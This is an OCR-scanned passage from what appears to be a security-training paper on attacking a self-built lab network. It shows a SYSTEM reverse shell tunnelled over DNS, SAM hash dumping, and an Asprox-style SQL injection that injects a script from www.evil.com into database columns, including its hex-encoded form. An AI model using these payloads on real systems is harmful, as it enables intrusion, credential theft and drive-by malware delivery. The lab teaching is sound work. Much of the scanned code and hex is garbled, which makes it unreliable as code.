[*] Starting the payload handler... n Debug requests.c:205 Sending [52996] len = 89 dns id = 0x91dc

LU QRVdJV1RKRU Q
[*] Command shell session 1 opened (127.0.0.1:22 -> 127.0.0.1:36783) at 2014-02-08 13:51:15 - D requests.c:167 Receive query :
0500 7HVFINABAEEXMDJGQzVDATYS0URGNKY4MzZCOTQyOTk1R]ISRkQyMUJDQZQ50TI dns_id =

a ain =auth.acme.com

'Microsoft Windows [Version 6.0.6001] Debug m.c:20: rr_get_reply_length_encode return 194

Copyright (c) 2006 Microsoft Corporation. All rights reserved. Debug requests.c: Sending [1] len = 121 dns id = 0x78d6 7+WFGAABAA
Debug requests.c:16 Receive query - 7+VpLDpnAHNzaA dns_id = Oxcbia for domain
C:\Windows\system32>whoami =connect.acme.com
whoami 18:51:14 : Debug auth.c60  Ask for resource 'ssh’ [E]
nt authority\system 18:51:14 : Debug socket.c:183 Connecting 1o 127.0.0.1 port 22

Bind client id: Oxe5ef address = 10.0.0.100 to resource ssh

Figure 26 - Impact when the tools are executed

Figure 27 illustrates a summary of the techniques used.

Churrasco.exe
Privilege escalation
will span a
Reverse TCP Shell
Connect to
127.0.0.1:137

System priviege Shell
Access

dns2tcpe.exe ]
- OR Metasploit Handl
Listen 127.0.0.1:137 Liftens?rcutp:ﬂgl; <

dns2tcpe.exe # dns2icp
.. encodes the decodes the DNS and
connection into DNS forward the requests

UDP DNS
requests to Queries
ACME.com

to a chosen port

Figure 27 -Overview how tools are combined

Now, that the reader has escalated privileges and maintains access he can steal
valid user credentials. To steal credentials there are a variety of tools and ways. In this
case a tool named gsecdump v2.0b5 created by Johannes Gumbel from TrueSec that
allows extracting the hashes from SAM or AD database will be used (TrueSec). This tool

is uploaded to the target system like it was shows previously. The execution is shown in
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Figure 28. With the hashes extracted the reader can then crack them using the John the
Ripper or Hashcat. Or, it can use the hashes to further move into the network by using

passing the hash or pass the ticket techniques (Rocha, 2012).

#nc--p22-w
listening on [any] 22

connect to [127.0.0.1] from localhost [127.0.0.1] 48273
Microsoft Windows [Version 6.0.6001]

Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\Windows\system32>>whoami

nt authority\system

CAWi 132>cd C:\Wi ~2\NETWOR~1\AppData\Local\Temp

C:AWindows\SERVIC~2INETWOR~1\AppData\l ocalTemp=>dir

Volume in drive C has no label.
Volume Serial Number is 4426-F394

Directory of C:\Windows\SERVIC~2\NETWOR~1\AppDatalLocal\Temp

02/09/2014 01:45PM <DIR>
02/09/2014 01:45PM  <DIR>
02/09/2014 06:15 AM 525 b64decoder.vbs
02/09/2014 06:18 AM 494,592 churrasco.exe
02/09/2014 06:53 AM 1,382,051 dns2icpc.exe
02/09/2014 01:45PM 557,568 gsecdump-v2b5.exe
4 File(s) 2434,736 byles
2 Dir(s) 50,728,296,448 bytes free

C\Windows\SERVIC~2INETWOR~1\AppData\LocalTemp>gsecdump-v2b5.exe -a

W2Kg-saL! inis 082d8e72c57ef50f76a05:3b23549¢2057cc5fc6911badbb036694:::
VILLE\W2K8-SQL$::00000000000000000000000000000000:7648dc 1dfbedddc25a1715fd4bea3cs52:::
VILLE\W2K8-SQL$::00000000000000000000000000000000:7648dc 1dfbeddde25a17 15fdabeadcs2:::
Administrator{current):500:aad3b4 35b51404eeaad3b435b51404ee:30b23549e2057cc5/c6911badbb036694:
Guest(current-disabled):501:aad3b435b51404eeaad 3b435b51404ee:3 1d6cfeld 16ae931b73c59d7e0c089c0:::

Figure 28 - Got system privileges shell and extracted SAM hashes

From this moment onwards the reader can further practice tools and techniques to
increase his presence in the target, move and compromise other targets in the network,

steal and exfiltrate data and finally cover his tracks.

5.2. Increase Evil Influence

The previous attack techniques illustrate how someone with malicious intent
could pull off a way to compromise a system. It starts by gaining access to the system
using a SQL injection. After the initial access a foothold is established. Then the position
is strengthen by uploading the tools of choice. Next the privileges are escalated and a

shell with full systems privileges is gained.

However, this attack method might seem complex it would probably happen in
case there is a motive or incentive for the attacker do it. An incentive to do such activity
could be to steal trade secrets, intellectual property, credit cards or any other information
that the attacker could monetize. Nonetheless, there are other motives that serve as an

incentive for an attacker to compromise a system. Brian Krebs, a former Washington Post
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reporter, has putted together a great chart listing the various ways the bad guys can
monetize hacked systems (Krebs, 2012). One of the attack methods that tend to gain
popularity is to use SQL injection for malware distribution. Basically, by introducing
malicious code in the web server an attacker can turn the web server in a mechanism to
deliver malicious code to browsers by taking advantaged of client-side vulnerabilities
against unpatched browsers. This mechanism was used by the Asprox botnet
(Borgaonkar, 2010) (Pelaez, 2008). More recently this attack gained the connotation of
watering hole or strategic web compromise when it targets a trustworthy web site
(Kindlund, Caselden & Chen, 2014). Steven Adair and Ned Moran explain it perfectly in

his article about trusted websites delivering dangerous results (Adair & Moran, 2012).

How does an attacker performs this? What are the mechanics behind such
method? As the reader noticed in the previous attack scenario there were some key
aspects that would be important for the attacker to be successful. One item is the
xp_cmdshell stored procedure being enable or the ability to have an out-of-band channel
to accelerate the speed of the time based SQL injection technique. But, in the watering
hole attack scenario there is no need of any of those factors. The attacker will only need a
SQL injection point and from there it can inject malicious script that will be appended
trough out the database. As consequence, when a user browses to the web page, the data
is retrieved from the database and rendered in the browser. Then the malicious code is
executed putting him at mercy of all kind of client-side exploits.

Figure 30 illustrate these steps using a SQL statement that is famous due to the
Asprox Trojan (Analysis, 2008) (Shin, Myers & Gupta, 2009). It uses a special table in
the SQL server sysobjects and syscolumns in an attempt to get access to the “user”
defined tables and fields in the website’s database. Through a loop it goes through every

table columns and appends a string containing the malicious <script> tag.

This SQL statement is encoded in a hex format and inserted into another SQL
statement in order to evade defenses. The reader can practice this technique and use
SQLmap to invoke a SQL shell that allows to execute SQL statements. Then this

prepared statement is executed which will result in infecting the database data. For
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reference a picture of what DBA will see if he looks into is affected database is also

- ) -
#echo -n "DECLARE @T, @C VARCHAR(2655) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name

FROM sysobjects a,syscolumns b WWHERE a.id=b.id AND a.xtype="u" AND (b.xiype=99 OR b.xtype=35 OR b.xiype=231 OR
b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN,

shown.

EXEC(UPDATE [+@T+] SET [+@C+|=RTRIM(CONVERT(VARCHAR (B000) [+ @C+]))+"<s cript sre=http://www.evil.com/tjs></

script>") FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor” | xxd -ps -u ~ B,
4445434C41524520 15243484 1626C6
55F437572736F 7220 12E6E616D652CE 16D D207379736F626A
6563747320612C737973636F6C756D6E E6964: 14E4420612E78747970653D27752720
4 0622E78747970653L 0653 1 4

6
50454E205461626C655F43: D205461626C655F43;

970653031
36F 2040542C; 75550

444154 5020

030292C58 3C736 DGB7474703A2F2F 77777 36F6D2F 62267
AT33E3C2FTI63726970743E2721 05461626CE55F437572736FT 0405 \n
42G404320454E4420434C4F 534520546 1626C655F 43757 2736F 72204445414C4CAF 4341544520546 1626 C655F 43757 2736F 72

Jsalmap.py -u ttp:/www.ville.com/DorknozzlelHelpDesk.aspx —dala='cat data’ --prefix="1", 1);" ~uffix="" --sql-shell v0

[17:35:52] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 2008

web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IS 7.0

back-end DBMS: Microsoft SQL Server 2008

[17:35:52] [INFO] ealling Microsoft SQL Server shell. To quit type 'x' or ' and press ENTER

IB) sqishell> DECLARE @S VARCHAR(4000);SET
@S=C/

64F52; D2073797 3797

AE442( D27752 3D3136:
L 437572736F
)

L 9292B27273C 4 2FTTTTIT EG36F6D: 33E3C2F7363726970743E272727292046

smszaisssuvsnusﬁn AS VARCHAR(4000))EXEC(@S):—
N

w
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Figure 29 - Behind the scenes how we would infect database with an Evil script

From this moment onwards the web server is infected. When a user goes in and
browses trough the infected web pages it will download and execute the evil Java Script
within the <> tags (Stuck, 2009) (Mendrez, 2009). This evil script can do, among other
things, scan the visitor machine for client side vulnerabilities and deliver the appropriate
exploit payload. Similar to using guided missiles this attack can be very effective and is
worth to mention James Lee presentation "Using Guided Missiles in Drive-bys at Defcon
17"

As demonstrated using this environment the reader could get a practical
understanding of how a typical watering hole attack is executed. The next step might be
to explore the client side vulnerabilities and exploits by taking advantage of the evil script
that is inserted into the database. The reader is encouraged to further learn, practice and
explore this vector of attack with tools such as the Browser Exploitation Framework
(BeEF) developed by Wade Alcorn and others, or the Social Engineering Toolkit (SET)

from David Kennedy.
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6. Continuing the Journey

Even though the tools used are extremely functional and almost no knowledge is
needed to run an exploit against a vulnerable server using SQLmap or Metasploit this is
the first step in building hands-on information security skills. Some techniques used are
low hanging fruit. Nonetheless, the reader should start with them in order to advance to
more complex methods and techniques using incremental approach. A proposed next
step would be to further expand this environment to model business networks with end
point and boundary defenses such as a Proxy, an IDS/IPS, a HIDS, etc. Also introduce
Linux based systems such as an e-commerce and test other techniques and exploits
(Rocha, 2012). As well, the reader could create scenario based challenges and
simulations like Ed Skoudis promotes on his presentation “Using InfoSec Challenges to
build your skills and career” that can emphasize the development of critical thinking
(Skoudis, 2012).

Further practice reconnaissance, scanning, exploitation, keeping access and
covering tracks will be doable. In addition to offensive skills the reader might want to
practice defensive skills. When the attacker launches a specific technique how does it
look like? Which opportunities does it bring from a defender to identify and detect it
from the network or database level? How does it look at the operating system level. How
would the reader be able to better prepare, identify, contain, eradicate and recover from
each one of these and other attack scenarios. Could the correlation between the logs from
the DNS server and Database server be used to detect such incident? Which IDS
signatures would be needed to detect this kind of traffic? This and other suggestions have

been also encouraged throughout the previous chapters.

It’s this never ending cat and mice game which makes our industry a very
interesting place to be at. Like when playing a game, It involves defenders trying to build
a secure system, then how to innovate, progress and take it to the next level by
circumvent those measures using different tools and techniques. Then the defender
improves the system and so on. This healthy competition between the attacker and the
defender will make us smarter and better at security. As Jon Erickson mention on his

book "The net result of this interaction is positive, as it produces smarter people,
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improved security, more stable software, inventive problem-solving techniques, and even

a new economy".

7. Conclusion

Although there are plenty of books and open source information that describe the
methods and techniques demonstrated, the environment was built from scratch. The tools
and tactics used are not new. However, they are relevant and used in today's attacks.
Likewise, the reader can learn, practice and look behind the scenes to better know them
and the impact they have.

The main goal was to demonstrate that hand’s on training is a very valuable and
cost efficient training delivery method that allows a better practical understanding on
security. This method has advantages to build up your skills — not only from an incident
handling and hacking techniques perspective but also from a forensics perspective. One
can practice and improve their ability to determine past actions which have taken place
and understand all kinds of artifacts which occur within the outlined scenarios. For
instance, one could simulate an actual forensic investigation! On the other hand, from an
Intrusion Analyst’s perspective the reader can capture the full contents of the network
packets during the exercises and work on mastering his TCP/IP and intrusion detection
techniques. In addition to that, the data set can be also feed to intrusion detection devices

in order to measure how effective will they be in detecting the attacks.

Practice these kind of skills, share your experiences, get feedback, repeat the

practice, grow to be proficient, improve your performance and become fluent.

8. Appendix A

Below are the high level steps that describe how to create the environment:
1. Install the host operating system e.g. Windows 7 PRO 64bits.

2. Install VMware Workstation 8.
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3. Configure VMnets using Virtual Network Editor.

4. Install and configure the Checkpoint Management Station R70 in VMnet4.
5. Install Windows OS and Checkpoint Smart Tools in VMnet4.

6. Install Checkpoint Firewall R70.

7. Configure the Firewall with 4 interfaces.

8. Configure routing and define the firewall rules.

9. Test the connectivity among the different subnets.

9. Appendix B

Below are the high level steps needed to create the first Windows Server 2008.
e Install and configure Windows Server 2008.
e Install VMware Tools.
e Execute Sysprep.
e Shutdown and compress to a golden image.
e Start the new system and activate it (or use a trial).
e Assign the VM network adapter to a custom specific network e.g. VMnet3
e Assign a static IP address, DNS and default gateway in the desired range.
e Ping the default gateway.
e Run dcpromo to install Active Directory Domain Services.

e Choose to install DNS Server and Create a new Domain in a new Forest

e.g. ville.com.

e Create a VM snapshot.

Luis Rocha, luiscrocha@gmail.com



H.O.T. | Security | 34

10. Appendix C

Below are the high level steps needed to do install the Windows Server 2008.

Deploy Windows Server 2008 from previous golden image.

Start the new system, define the hostname, admin password and activate it.
Assign the VM network adapter to a custom specific network e.g. Vmnet3.
Assign a static IP address, DNS and default gateway in the desired range.
Ping the default gateway.

Join the system to the Domain.

Create a VM snapshot.

Next the high level steps to create the web stack by following the Build Your
Own ASP.NET 4 Web Site Using C# & VB book (Posey, Barnett & Darie, 2011).

Install 11S 7.x with ASP.NET application development support.
Install Visual Studio 2010 Web Express Edition.

Install .NET 3.5 SP1.

Install KB942288.

Install SQL Server 2008 Express R2.

Build the ASP.NET application.
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